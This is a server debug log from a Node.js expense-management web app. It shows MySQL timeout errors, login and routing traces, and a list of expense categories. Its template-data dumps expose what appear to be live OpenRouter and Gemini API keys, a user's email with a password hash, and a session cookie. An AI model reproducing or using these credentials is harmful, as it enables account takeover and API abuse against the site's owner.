  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 22:48:53' as DATETIME)"
}
2025-12-22T22:57:23.829Z server-connect:router Serving templateView /
2025-12-22T22:57:23.830Z server-connect:app Executing action step identify
2025-12-22T22:57:23.830Z server-connect:app options: { provider: 'security' }
2025-12-22T22:57:23.830Z server-connect:auth No login cookie found
2025-12-22T22:57:23.830Z server-connect:output identity: false
2025-12-22T22:57:23.830Z server-connect:app Executing action step restrict
2025-12-22T22:57:23.830Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T22:57:23.831Z server-connect:output restrict: undefined
2025-12-22T22:57:24.079Z server-connect:router Serving templateView /login
2025-12-22T22:57:24.080Z server-connect:app Executing action step identify
2025-12-22T22:57:24.080Z server-connect:app options: { provider: 'security' }
2025-12-22T22:57:24.080Z server-connect:auth No login cookie found
2025-12-22T22:57:24.080Z server-connect:output identity: false
2025-12-22T22:57:24.080Z server-connect:router Render template layouts/authentication
2025-12-22T22:57:24.081Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_65.21.215.19:443_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.25',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T22:57:24.079Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.25',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.25',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 23:36:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 23:36:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 00:25:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 00:25:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 00:33:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 00:33:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 00:47:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 00:47:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 01:13:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 01:13:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 01:57:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 01:57:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 03:31:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 03:31:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 03:35:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 03:35:45' as DATETIME)"
}
2025-12-23T03:50:56.330Z server-connect:router Serving templateView /
2025-12-23T03:50:56.331Z server-connect:app Executing action step identify
2025-12-23T03:50:56.331Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:56.395Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-23T03:50:56.408Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-23T03:50:56.468Z server-connect:output identity: 1
2025-12-23T03:50:56.468Z server-connect:app Executing action step restrict
2025-12-23T03:50:56.468Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T03:50:56.468Z server-connect:output restrict: undefined
2025-12-23T03:50:56.468Z server-connect:app Executing action step restrict
2025-12-23T03:50:56.468Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T03:50:56.469Z server-connect:output restrict: undefined
2025-12-23T03:50:56.469Z server-connect:router Render template layouts/main
2025-12-23T03:50:56.469Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.330Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-23T03:50:57.223Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-23T03:50:57.225Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-23T03:50:57.225Z server-connect:app Executing action step identify
2025-12-23T03:50:57.225Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:57.225Z server-connect:output identity: 1
2025-12-23T03:50:57.225Z server-connect:app Executing action step restrict
2025-12-23T03:50:57.225Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:50:57.225Z server-connect:app Executing action step identify
2025-12-23T03:50:57.225Z server-connect:app options: { provider: 'security' }
2025-12-23T03:50:57.225Z server-connect:output identity: 1
2025-12-23T03:50:57.226Z server-connect:app Executing action step restrict
2025-12-23T03:50:57.226Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:50:57.226Z server-connect:output restrict: undefined
2025-12-23T03:50:57.226Z server-connect:app Executing action step select
2025-12-23T03:50:57.227Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-23T03:50:57.227Z server-connect:output restrict: undefined
2025-12-23T03:50:57.227Z server-connect:app Executing action step single
2025-12-23T03:50:57.227Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-23T03:50:57.234Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
